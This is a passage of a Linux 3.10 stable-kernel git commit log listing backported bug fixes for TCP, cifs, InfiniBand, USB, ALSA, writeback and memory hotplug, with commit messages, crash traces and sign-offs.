("tcp: remove TCP_SKB_CB(skb)->when") Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2475b3660452d22a08ec557254de2161cd4f4b2e Author: Neal Cardwell Date: Wed Apr 1 20:26:46 2015 -0400 tcp: fix FRTO undo on cumulative ACK of SACKed range [ Upstream commit 666b805150efd62f05810ff0db08f44a2370c937 ] On processing cumulative ACKs, the FRTO code was not checking the SACKed bit, meaning that there could be a spurious FRTO undo on a cumulative ACK of a previously SACKed skb. The FRTO code should only consider a cumulative ACK to indicate that an original/unretransmitted skb is newly ACKed if the skb was not yet SACKed. The effect of the spurious FRTO undo would typically be to make the connection think that all previously-sent packets were in flight when they really weren't, leading to a stall and an RTO. Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Fixes: e33099f96d99c ("tcp: implement RFC5682 F-RTO") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e89d5ea61c96846fb28bca40f2b66fde5cad691 Author: Michal KubeÄek Date: Mon Mar 23 15:14:00 2015 +0100 tcp: prevent fetching dst twice in early demux code [ Upstream commit d0c294c53a771ae7e84506dfbd8c18c30f078735 ] On s390x, gcc 4.8 compiles this part of tcp_v6_early_demux() struct dst_entry *dst = sk->sk_rx_dst; if (dst) dst = dst_check(dst, inet6_sk(sk)->rx_dst_cookie); to code reading sk->sk_rx_dst twice, once for the test and once for the argument of ip6_dst_check() (dst_check() is inline). This allows ip6_dst_check() to be called with null first argument, causing a crash. Protect sk->sk_rx_dst access by ACCESS_ONCE() both in IPv4 and IPv6 TCP early demux code. Fixes: 41063e9dd119 ("ipv4: Early TCP socket demux.") Fixes: c7109986db3c ("ipv6: Early TCP socket demux") Signed-off-by: Michal Kubecek Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0fd96a19cecdf9f5823d8a6358faa0d9019cd57 Author: Alex Elder Date: Thu Jan 23 15:54:01 2014 -0800 remove extra definitions of U32_MAX commit 04f9b74e4d96d349de12fdd4e6626af4a9f75e09 upstream. Now that the definition is centralized in , the definitions of U32_MAX (and related) elsewhere in the kernel can be removed. Signed-off-by: Alex Elder Acked-by: Sage Weil Acked-by: David S. Miller Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bf63a7a4dc0b1430a76a7e42273c2b9b1e21c540 Author: Alex Elder Date: Thu Jan 23 15:53:59 2014 -0800 conditionally define U32_MAX commit 77719536dc00f8fd8f5abe6dadbde5331c37f996 upstream. The symbol U32_MAX is defined in several spots. Change these definitions to be conditional. This is in preparation for the next patch, which centralizes the definition in . Signed-off-by: Alex Elder Cc: Sage Weil Cc: David Miller Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f7f87790ea7fc5ab2aabbcf3a9b991ada90d6153 Author: Pranav Vashi Date: Sat Mar 28 01:09:18 2015 +0530 net: Fix warning for unused variable Signed-off-by: Pranav Vashi commit c2744c4355d795ff27939430419a1e40ffa85de4 Author: Greg Kroah-Hartman Date: Sun Apr 19 10:12:19 2015 +0200 Linux 3.10.75 Signed-off-by: Pranav Vashi commit e31b3a6057f268b5d30a6756951bfaff587dbed4 Author: Peter Hurley Date: Sun Mar 1 10:11:05 2015 -0500 console: Fix console name size mismatch commit 30a22c215a0007603ffc08021f2e8b64018517dd upstream. commit 6ae9200f2cab7 ("enlarge console.name") increased the storage for the console name to 16 bytes, but not the corresponding struct console_cmdline::name storage. Console names longer than 8 bytes cause read beyond end-of-string and failure to match console; I'm not sure if there are other unexpected consequences. Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 66befdc311e86c8dcea4c47b01ad1693faad0f2f Author: Majd Dibbiny Date: Wed Mar 18 16:51:37 2015 +0200 IB/mlx4: Saturate RoCE port PMA counters in case of overflow commit 61a3855bb726cbb062ef02a31a832dea455456e0 upstream. For RoCE ports, we set the u32 PMA values based on u64 HCA counters. In case of overflow, according to the IB spec, we have to saturate a counter to its max value, do that. Fixes: c37791349cc7 ('IB/mlx4: Support PMA counters for IBoE') Signed-off-by: Majd Dibbiny Signed-off-by: Eran Ben Elisha Signed-off-by: Hadar Hen Zion Signed-off-by: Or Gerlitz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 818e6e53d77e02c799ab09b3721c42bd0f64bf1c Author: Mateusz Guzik Date: Mon Jan 27 17:07:11 2014 -0800 ipc: fix compat msgrcv with negative msgtyp commit e7ca2552369c1dfe0216c626baf82c3d83ec36bb upstream. Compat function takes msgtyp argument as u32 and passes it down to do_msgrcv which results in casting to long, thus the sign is lost and we get a big positive number instead. Cast the argument to signed type before passing it down. Signed-off-by: Mateusz Guzik Reported-by: Gabriellla Schmidt Cc: Al Viro Cc: Davidlohr Bueso Cc: Manfred Spraul Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Masanari Iida Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 57e8cb5bc3b796a8ee13d555bd5829d929535709 Author: Marek Szyprowski Date: Wed Mar 4 05:55:21 2015 -0800 media: s5p-mfc: fix mmap support for 64bit arch commit 05b676ab42f624425d5f6519276e506b812fa058 upstream. TASK_SIZE is depends on the systems architecture (32 or 64 bits) and it should not be used for defining offset boundary for mmaping buffers for CAPTURE and OUTPUT queues. This patch fixes support for MMAP calls on the CAPTURE queue on 64bit architectures (like ARM64). Signed-off-by: Marek Szyprowski Signed-off-by: Kamil Debski Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29d553618bb7be1ddf127ddbb83614e2af0cef21 Author: Mike Christie Date: Fri Apr 10 02:47:27 2015 -0500 iscsi target: fix oops when adding reject pdu commit b815fc12d4dd2b5586184fb4f867caff05a810d4 upstream. This fixes a oops due to a double list add when adding a reject PDU for iscsit_allocate_iovecs allocation failures. The cmd has already been added to the conn_cmd_list in iscsit_setup_scsi_cmd, so this has us call iscsit_reject_cmd. Note that for ERL0 the reject PDU is not actually sent, so this patch is not completely tested. Just verified we do not oops. The problem is the add reject functions return -1 which is returned all the way up to iscsi_target_rx_thread which for ERL0 will drop the connection. Signed-off-by: Mike Christie Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2f0f7273bb3bf78304bb88e47289f1b27055cd58 Author: Al Viro Date: Wed Apr 8 17:00:32 2015 -0400 ocfs2: _really_ sync the right range commit 64b4e2526d1cf6e6a4db6213d6e2b6e6ab59479a upstream. "ocfs2 syncs the wrong range" had been broken; prior to it the code was doing the wrong thing in case of O_APPEND, all right, but _after_ it we were syncing the wrong range in 100% cases. *ppos, aka iocb->ki_pos is incremented prior to that point, so we are always doing sync on the area _after_ the one we'd written to. Spotted by Joseph Qi back in January; unfortunately, I'd missed his mail back then ;-/ Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7f4f4c7323b66f0273ccc1f2ae8fe86a067d24a2 Author: John Soni Jose Date: Thu Feb 12 06:45:47 2015 +0530 be2iscsi: Fix kernel panic when device initialization fails commit 2e7cee027b26cbe7e6685a7a14bd2850bfe55d33 upstream. Kernel panic was happening as iscsi_host_remove() was called on a host which was not yet added. Signed-off-by: John Soni Jose Reviewed-by: Mike Christie Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3cccd7304f8412372f3e3e7b2e8ac155cbacc215 Author: David Disseldorp Date: Fri Mar 13 14:20:29 2015 +0100 cifs: fix use-after-free bug in find_writable_file commit e1e9bda22d7ddf88515e8fe401887e313922823e upstream. Under intermittent network outages, find_writable_file() is susceptible to the following race condition, which results in a user-after-free in the cifs_writepages code-path: Thread 1 Thread 2 ======== ======== inv_file = NULL refind = 0 spin_lock(&cifs_file_list_lock) // invalidHandle found on openFileList inv_file = open_file // inv_file->count currently 1 cifsFileInfo_get(inv_file) // inv_file->count = 2 spin_unlock(&cifs_file_list_lock); cifs_reopen_file() cifs_close() // fails (rc != 0) ->cifsFileInfo_put() spin_lock(&cifs_file_list_lock) // inv_file->count = 1 spin_unlock(&cifs_file_list_lock) spin_lock(&cifs_file_list_lock); list_move_tail(&inv_file->flist, &cifs_inode->openFileList); spin_unlock(&cifs_file_list_lock); cifsFileInfo_put(inv_file); ->spin_lock(&cifs_file_list_lock) // inv_file->count = 0 list_del(&cifs_file->flist); // cleanup!! kfree(cifs_file); spin_unlock(&cifs_file_list_lock); spin_lock(&cifs_file_list_lock); ++refind; // refind = 1 goto refind_writable; At this point we loop back through with an invalid inv_file pointer and a refind value of 1. On second pass, inv_file is not overwritten on openFileList traversal, and is subsequently dereferenced. Signed-off-by: David Disseldorp Reviewed-by: Jeff Layton Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f601d0b091ecef57af3a8e399bfed83e90eb123b Author: Lu Baolu Date: Mon Mar 23 18:27:42 2015 +0200 usb: xhci: apply XHCI_AVOID_BEI quirk to all Intel xHCI controllers commit 227a4fd801c8a9fa2c4700ab98ec1aec06e3b44d upstream. When a device with an isochronous endpoint is plugged into the Intel xHCI host controller, and the driver submits multiple frames per URB, the xHCI driver will set the Block Event Interrupt (BEI) flag on all but the last TD for the URB. This causes the host controller to place an event on the event ring, but not send an interrupt. When the last TD for the URB completes, BEI is cleared, and we get an interrupt for the whole URB. However, under Intel xHCI host controllers, if the event ring is full of events from transfers with BEI set, an "Event Ring is Full" event will be posted to the last entry of the event ring, but no interrupt is generated. Host will cease all transfer and command executions and wait until software completes handling the pending events in the event ring. That means xHC stops, but event of "event ring is full" is not notified. As the result, the xHC looks like dead to user. This patch is to apply XHCI_AVOID_BEI quirk to Intel xHC devices. And it should be backported to kernels as old as 3.0, that contains the commit 69e848c2090a ("Intel xhci: Support EHCI/xHCI port switching."). Signed-off-by: Lu Baolu Tested-by: Alistair Grant Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b397b7e615455f53f51009e3c5992c743f429c21 Author: Thomas Schlichter Date: Tue Mar 31 20:24:39 2015 +0200 cpuidle: ACPI: do not overwrite name and description of C0 commit c7e8bdf5872c5a8f5a6494e16fe839c38a0d3d3d upstream. Fix a bug that leads to showing the name and description of C-state C0 as "" in sysfs after the ACPI C-states changed (e.g. after AC->DC or DC->AC transition). The function poll_idle_init() in drivers/cpuidle/driver.c initializes the state 0 during cpuidle_register_driver(), so we better do not overwrite it again with '\0' during acpi_processor_cst_has_changed(). Signed-off-by: Thomas Schlichter Reviewed-by: Bartlomiej Zolnierkiewicz Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0272aa33b87b5ccc29ba34284408caba162b424 Author: Peter Ujfalusi Date: Fri Mar 27 13:35:52 2015 +0200 dmaengine: omap-dma: Fix memory leak when terminating running transfer commit 02d88b735f5a60f04dbf6d051b76e1877a0d0844 upstream. In omap_dma_start_desc the vdesc->node is removed from the virt-dma framework managed lists (to be precise from the desc_issued list). If a terminate_all comes before the transfer finishes the omap_desc will not be freed up because it is not in any of the lists and we stopped the DMA channel so the transfer will not going to complete. There is no special sequence for leaking memory when using cyclic (audio) transfer: with every start and stop of a cyclic transfer the driver leaks struct omap_desc worth of memory. Free up the allocated memory directly in omap_dma_terminate_all() since the framework will not going to do that for us. Signed-off-by: Peter Ujfalusi CC: Signed-off-by: Vinod Koul Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b747cc95cf1787af31b12bb256a3cf0f97100388 Author: Darshana Padmadas Date: Sat Mar 28 12:07:14 2015 +0530 iio: imu: Use iio_trigger_get for indio_dev->trig assignment commit 4ce7ca89d6e8eae9e201cd0e972ba323f33e2fb4 upstream. This patch uses iio_trigger_get to increment the reference count of trigger device, to avoid incorrect assignment. Can result in a null pointer dereference during removal if the trigger has been changed before removal. This patch refers to a similar situation encountered through the following discussion: http://www.spinics.net/lists/linux-iio/msg13669.html Signed-off-by: Darshana Padmadas Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 24d72882fee9e9be3c9c717aa3d02d1d311e0131 Author: Viorel Suman Date: Wed Feb 18 20:05:21 2015 +0200 iio: inv_mpu6050: Clear timestamps fifo while resetting hardware fifo commit 4dac0a8eefd55bb1f157d1a5a084531334a2d74c upstream. A hardware fifo reset always imply an invalidation of the existing timestamps, so we'll clear timestamps fifo on successfull hardware fifo reset. Signed-off-by: Viorel Suman Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a1258db09ac77c9cbd57981cc86d7a2427536424 Author: Bart Van Assche Date: Wed Mar 4 10:31:47 2015 +0100 Defer processing of REQ_PREEMPT requests for blocked devices commit bba0bdd7ad4713d82338bcd9b72d57e9335a664b upstream. SCSI transport drivers and SCSI LLDs block a SCSI device if the transport layer is not operational. This means that in this state no requests should be processed, even if the REQ_PREEMPT flag has been set. This patch avoids that a rescan shortly after a cable pull sporadically triggers the following kernel oops: BUG: unable to handle kernel paging request at ffffc9001a6bc084 IP: [] mlx4_ib_post_send+0xd2/0xb30 [mlx4_ib] Process rescan-scsi-bus (pid: 9241, threadinfo ffff88053484a000, task ffff880534aae100) Call Trace: [] srp_post_send+0x65/0x70 [ib_srp] [] srp_queuecommand+0x1cf/0x3e0 [ib_srp] [] scsi_dispatch_cmd+0x101/0x280 [scsi_mod] [] scsi_request_fn+0x411/0x4d0 [scsi_mod] [] __blk_run_queue+0x27/0x30 [] blk_execute_rq_nowait+0x82/0x110 [] blk_execute_rq+0x62/0xf0 [] scsi_execute+0xe8/0x190 [scsi_mod] [] scsi_execute_req+0xa3/0x130 [scsi_mod] [] scsi_probe_lun+0x17a/0x450 [scsi_mod] [] scsi_probe_and_add_lun+0x156/0x480 [scsi_mod] [] __scsi_scan_target+0xdf/0x1f0 [scsi_mod] [] scsi_scan_host_selected+0x183/0x1c0 [scsi_mod] [] scsi_scan+0xdb/0xe0 [scsi_mod] [] store_scan+0x13/0x20 [scsi_mod] [] sysfs_write_file+0xcb/0x160 [] vfs_write+0xce/0x140 [] sys_write+0x53/0xa0 [] system_call_fastpath+0x16/0x1b [<00007f611c9d9300>] 0x7f611c9d92ff Reported-by: Max Gurtuvoy Signed-off-by: Bart Van Assche Reviewed-by: Mike Christie Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea38fa006e4c75e08e0b1302dbffd2ab60b6a117 Author: Doug Goldstein Date: Mon Mar 23 20:34:48 2015 -0500 USB: ftdi_sio: Use jtag quirk for SNAP Connect E10 commit b229a0f840f774d29d8fedbf5deb344ca36b7f1a upstream. This patch uses the existing CALAO Systems ftdi_8u2232c_probe in order to avoid attaching a TTY to the JTAG port as this board is based on the CALAO Systems reference design and needs the same fix up. Signed-off-by: Doug Goldstein [johan: clean up probe logic ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 48bff58654ef859d1a9178e580e1866dee506bca Author: Doug Goldstein Date: Sun Mar 15 21:56:04 2015 -0500 USB: ftdi_sio: Added custom PID for Synapse Wireless product commit 4899c054a90439477b24da8977db8d738376fe90 upstream. Synapse Wireless uses the FTDI VID with a custom PID of 0x9090 for their SNAP Stick 200 product. Signed-off-by: Doug Goldstein Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 70aa435a2daeef4f68f29d6b9fb5c7c5889a7cba Author: David Miller Date: Wed Mar 18 23:18:40 2015 -0400 radeon: Do not directly dereference pointers to BIOS area. commit f2c9e560b406f2f6b14b345c7da33467dee9cdf2 upstream. Use readb() and memcpy_fromio() accessors instead. Reviewed-by: Christian König Signed-off-by: David S. Miller Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 854ab0265ed39f577354320bbdcd7b3a2f0cc537 Author: Tejun Heo Date: Mon Mar 23 00:18:48 2015 -0400 writeback: fix possible underflow in write bandwidth calculation commit c72efb658f7c8b27ca3d0efb5cfd5ded9fcac89e upstream. From 1ebf33901ecc75d9496862dceb1ef0377980587c Mon Sep 17 00:00:00 2001 From: Tejun Heo Date: Mon, 23 Mar 2015 00:08:19 -0400 2f800fbd777b ("writeback: fix dirtied pages accounting on redirty") introduced account_page_redirty() which reverts stat updates for a redirtied page, making BDI_DIRTIED no longer monotonically increasing. bdi_update_write_bandwidth() uses the delta in BDI_DIRTIED as the basis for bandwidth calculation. While unlikely, since the above patch, the newer value may be lower than the recorded past value and underflow the bandwidth calculation leading to a wild result. Fix it by subtracing min of the old and new values when calculating delta. AFAIK, there hasn't been any report of it happening but the resulting erratic behavior would be non-critical and temporary, so it's possible that the issue is happening without being reported. The risk of the fix is very low, so tagged for -stable. Signed-off-by: Tejun Heo Cc: Jens Axboe Cc: Jan Kara Cc: Wu Fengguang Cc: Greg Thelen Fixes: 2f800fbd777b ("writeback: fix dirtied pages accounting on redirty") Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae42149ea5d5f1d28ca623e958ab744091e50016 Author: Tejun Heo Date: Wed Mar 4 10:37:43 2015 -0500 writeback: add missing INITIAL_JIFFIES init in global_update_bandwidth() commit 7d70e15480c0450d2bfafaad338a32e884fc215e upstream. global_update_bandwidth() uses static variable update_time as the timestamp for the last update but forgets to initialize it to INITIALIZE_JIFFIES. This means that global_dirty_limit will be 5 mins into the future on 32bit and some large amount jiffies into the past on 64bit. This isn't critical as the only effect is that global_dirty_limit won't be updated for the first 5 mins after booting on 32bit machines, especially given the auxiliary nature of global_dirty_limit's role - protecting against global dirty threshold's sudden dips; however, it does lead to unintended suboptimal behavior. Fix it. Fixes: c42843f2f0bb ("writeback: introduce smoothed global dirty limit") Signed-off-by: Tejun Heo Acked-by: Jan Kara Cc: Wu Fengguang Cc: Jens Axboe Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f771486031af509fab15aad70b62251a5cab5748 Author: Gu Zheng Date: Wed Mar 25 15:55:20 2015 -0700 mm/memory hotplug: postpone the reset of obsolete pgdat commit b0dc3a342af36f95a68fe229b8f0f73552c5ca08 upstream. Qiu Xishi reported the following BUG when testing hot-add/hot-remove node under stress condition: BUG: unable to handle kernel paging request at 0000000000025f60 IP: next_online_pgdat+0x1/0x50 PGD 0 Oops: 0000 [#1] SMP ACPI: Device does not support D3cold Modules linked in: fuse nls_iso8859_1 nls_cp437 vfat fat loop dm_mod coretemp mperf crc32c_intel ghash_clmulni_intel aesni_intel ablk_helper cryptd lrw gf128mul glue_helper aes_x86_64 pcspkr microcode igb dca i2c_algo_bit ipv6 megaraid_sas iTCO_wdt i2c_i801 i2c_core iTCO_vendor_support tg3 sg hwmon ptp lpc_ich pps_core mfd_core acpi_pad rtc_cmos button ext3 jbd mbcache sd_mod crc_t10dif scsi_dh_alua scsi_dh_rdac scsi_dh_hp_sw scsi_dh_emc scsi_dh ahci libahci libata scsi_mod [last unloaded: rasf] CPU: 23 PID: 238 Comm: kworker/23:1 Tainted: G O 3.10.15-5885-euler0302 #1 Hardware name: HUAWEI TECHNOLOGIES CO.,LTD. Huawei N1/Huawei N1, BIOS V100R001 03/02/2015 Workqueue: events vmstat_update task: ffffa800d32c0000 ti: ffffa800d32ae000 task.ti: ffffa800d32ae000 RIP: 0010: next_online_pgdat+0x1/0x50 RSP: 0018:ffffa800d32afce8 EFLAGS: 00010286 RAX: 0000000000001440 RBX: ffffffff81da53b8 RCX: 0000000000000082 RDX: 0000000000000000 RSI: 0000000000000082 RDI: 0000000000000000 RBP: ffffa800d32afd28 R08: ffffffff81c93bfc R09: ffffffff81cbdc96 R10: 00000000000040ec R11: 00000000000000a0 R12: ffffa800fffb3440 R13: ffffa800d32afd38 R14: 0000000000000017 R15: ffffa800e6616800 FS: 0000000000000000(0000) GS:ffffa800e6600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000025f60 CR3: 0000000001a0b000 CR4: 00000000001407e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: refresh_cpu_vm_stats+0xd0/0x140 vmstat_update+0x11/0x50 process_one_work+0x194/0x3d0 worker_thread+0x12b/0x410 kthread+0xc6/0xd0 ret_from_fork+0x7c/0xb0 The cause is the "memset(pgdat, 0, sizeof(*pgdat))" at the end of try_offline_node, which will reset all the content of pgdat to 0, as the pgdat is accessed lock-free, so that the users still using the pgdat will panic, such as the vmstat_update routine. process A: offline node XX: vmstat_updat() refresh_cpu_vm_stats() for_each_populated_zone() find online node XX cond_resched() offline cpu and memory, then try_offline_node() node_set_offline(nid), and memset(pgdat, 0, sizeof(*pgdat)) zone = next_zone(zone) pg_data_t *pgdat = zone->zone_pgdat; // here pgdat is NULL now next_online_pgdat(pgdat) next_online_node(pgdat->node_id); // NULL pointer access So the solution here is postponing the reset of obsolete pgdat from try_offline_node() to hotadd_new_pgdat(), and just resetting pgdat->nr_zones and pgdat->classzone_idx to be 0 rather than the memset 0 to avoid breaking pointer information in pgdat. Signed-off-by: Gu Zheng Reported-by: Xishi Qiu Suggested-by: KAMEZAWA Hiroyuki Cc: David Rientjes Cc: Yasuaki Ishimatsu Cc: Taku Izumi Cc: Tang Chen Cc: Xie XiuQi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bd31217222f5874af766a329d0b84a6fc3257369 Author: Sudip Mukherjee Date: Tue Jan 27 18:08:22 2015 +0530 nbd: fix possible memory leak commit ff6b8090e26ef7649ef0cc6b42389141ef48b0cf upstream. we have already allocated memory for nbd_dev, but we were not releasing that memory and just returning the error value. Signed-off-by: Sudip Mukherjee Acked-by: Paul Clements Signed-off-by: Markus Pargmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a99e606e360eb64e29fba58a29c44b58013f2ba9 Author: Emmanuel Grumbach Date: Mon Mar 16 09:08:07 2015 +0200 iwlwifi: dvm: run INIT firmware again upon .start() commit 9c8928f5176766bec79f272bd47b7124e11cccbd upstream. The assumption before this patch was that we don't need to run again the INIT firmware after the system booted. The INIT firmware runs calibrations which impact the physical layer's behavior. Users reported that it may be helpful to run these calibrations again every time the interface is brought up. The penatly is minimal, since the calibrations run fast. This fixes: https://bugzilla.kernel.org/show_bug.cgi?id=94341 Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 05dc44591eee416eb26c430f3518bc5b1eed3c93 Author: Shachar Raindel Date: Wed Mar 18 17:39:08 2015 +0000 IB/uverbs: Prevent integer overflow in ib_umem_get address arithmetic commit 8494057ab5e40df590ef6ef7d66324d3ae33356b upstream. Properly verify that the resulting page aligned end address is larger than both the start address and the length of the memory area requested. Both the start and length arguments for ib_umem_get are controlled by the user. A misbehaving user can provide values which will cause an integer overflow when calculating the page aligned end address. This overflow can cause also miscalculation of the number of pages mapped, and additional logic issues. Addresses: CVE-2014-8159 Signed-off-by: Shachar Raindel Signed-off-by: Jack Morgenstein Signed-off-by: Or Gerlitz Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0ffb7b77e4dda2c2a5e652b7f5cde45860c61668 Author: Eli Cohen Date: Sun Sep 14 16:47:52 2014 +0300 IB/core: Avoid leakage from kernel to user space commit 377b513485fd885dea1083a9a5430df65b35e048 upstream. Clear the reserved field of struct ib_uverbs_async_event_desc which is copied to user space. Signed-off-by: Eli Cohen Reviewed-by: Yann Droneaud Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 03e19da773181418521a306719f4aa400441c73f Author: Ben Hutchings Date: Wed Apr 15 19:00:32 2015 +0100 tcp: Fix crash in TCP Fast Open Commit 355a901e6cf1 ("tcp: make connect() mem charging friendly") changed tcp_send_syn_data() to perform an open-coded copy of the 'syn' skb rather than using skb_copy_expand(). The open-coded copy does not cover the skb_shared_info::gso_segs field, so in the new skb it is left set to 0. When this commit was backported into stable branches between 3.10.y and 3.16.7-ckty inclusive, it triggered the BUG() in tcp_transmit_skb(). Since Linux 3.18 the GSO segment count is kept in the tcp_skb_cb::tcp_gso_segs field and tcp_send_syn_data() does copy the tcp_skb_cb structure to the new skb, so mainline and newer stable branches are not affected. Set skb_shared_info::gso_segs to the correct value of 1. Signed-off-by: Ben Hutchings Acked-by: Eric Dumazet Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 24981ac2d86d5f82d0100ddecd06afea45fd74d9 Author: Takashi Iwai Date: Wed Apr 8 20:47:55 2015 +0200 ALSA: hda - Fix headphone pin config for Lifebook T731 commit cc7016ab1a22fb26f388c2fb2b692b89897cbc3e upstream. Some BIOS version of Fujitsu Lifebook T731 seems to set up the headphone pin (0x21) without the assoc number 0x0f while it's set only to the output on the docking port (0x1a). With the recent commit [03ad6a8c93b6: ALSA: hda - Fix "PCM" name being used on one DAC when there are two DACs], this resulted in the weird mixer element mapping where the headphone on the laptop is assigned as a shared volume with the speaker and the docking port is assigned as an individual headphone. This patch improves the situation by correcting the headphone pin config to the more appropriate value. Reported-and-tested-by: Taylor Smock Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56b483a4ef2253903308000a0e979080495c06a1 Author: Dmitry M. Fedin Date: Thu Apr 9 17:37:03 2015 +0300 ALSA: usb - Creative USB X-Fi Pro SB1095 volume knob support commit 3dc8523fa7412e731441c01fb33f003eb3cfece1 upstream. Adds an entry for Creative USB X-Fi to the rc_config array in mixer_quirks.c to allow use of volume knob on the device. Adds support for newer X-Fi Pro card, known as "Model No. SB1095" with USB ID "041e:3237" Signed-off-by: Dmitry M. Fedin Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f67ed2e98733349285cb688de756b563f453d23e Author: Hui Wang Date: Thu Mar 26 17:14:55 2015 +0800 ALSA: hda - Add one more node in the EAPD supporting candidate list commit af95b41426e0b58279f8ff0ebe420df49a4e96b8 upstream. We have a HP machine which use the codec node 0x17 connecting the internal speaker, and from the node capability, we saw the EAPD, if we don't set the EAPD on for this node, the internal speaker can't output any sound. BugLink: https://bugs.launchpad.net/bugs/1436745 Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8842be2b8174d6e29f9f458ccf8d42266c1cba62 Author: Greg Kroah-Hartman Date: Mon Apr 13 14:02:33 2015 +0200 Linux 3.10.74 Signed-off-by: Pranav Vashi commit 89727a6a406dc83c1c14e6ac3d4fd697895a54ee Author: Markos Chandras Date: Thu Mar 19 10:28:14 2015 +0000 net: ethernet: pcnet32: Setup the SRAM and NOUFLO on Am79C97{3, 5} commit 87f966d97b89774162df04d2106c6350c8fe4cb3 upstream. On a MIPS Malta board, tons of fifo underflow errors have been observed when using u-boot as bootloader instead of YAMON. The reason for that is that YAMON used to set the pcnet device to SRAM mode but u-boot does not. As a result, the default Tx threshold (64 bytes) is now too small to keep the fifo relatively used and it can result to Tx fifo underflow errors. As a result of which, it's best to setup the SRAM on supported controllers so we can always use the NOUFLO bit. Cc: Cc: Cc: Don Fry Signed-off-by: Markos Chandras Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b4363d910482c387a0bf0a5def766533223015fc Author: Scott Wood Date: Wed Dec 17 19:06:31 2014 -0600 powerpc/mpc85xx: Add ranges to etsec2 nodes commit bb344ca5b90df62b1a3b7a35c6a9d00b306a170d upstream. Commit 746c9e9f92dd "of/base: Fix PowerPC address parsing hack" limited the applicability of the workaround whereby a missing ranges is treated as an empty ranges. This workaround was hiding a bug in the etsec2 device tree nodes, which have children with reg, but did not have ranges. Signed-off-by: Scott Wood Reported-by: Alexander Graf Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit acd725bcdc6d57fbbbf84eec5c4fd57ef7897854 Author: Sergei Antonov Date: Wed Mar 25 15:55:34 2015 -0700 hfsplus: fix B-tree corruption after insertion at position 0 commit 98cf21c61a7f5419d82f847c4d77bf6e96a76f5f upstream. Fix B-tree corruption when a new record is inserted at position 0 in the node in hfs_brec_insert(). In this case a hfs_brec_update_parent() is called to update the parent index node (if exists) and it is passed hfs_find_data with a search_key containing a newly inserted key instead of the key to be updated. This results in an inconsistent index node. The bug reproduces on my machine after an extents overflow record for the catalog file (CNID=4) is inserted into the extents overflow B-tree. Because of a low (reserved) value of CNID=4, it has to become the first record in the first leaf node. The resulting first leaf node is correct: ---------------------------------------------------- | key0.CNID=4 | key1.CNID=123 | key2.CNID=456, ... | ---------------------------------------------------- But the parent index key0 still contains the previous key CNID=123: ----------------------- | key0.CNID=123 | ... | ----------------------- A change in hfs_brec_insert() makes hfs_brec_update_parent() work correctly by preventing it from getting fd->record=-1 value from __hfs_brec_find(). Along the way, I removed duplicate code with unification of the if condition. The resulting code is equivalent to the original code because node is never 0. 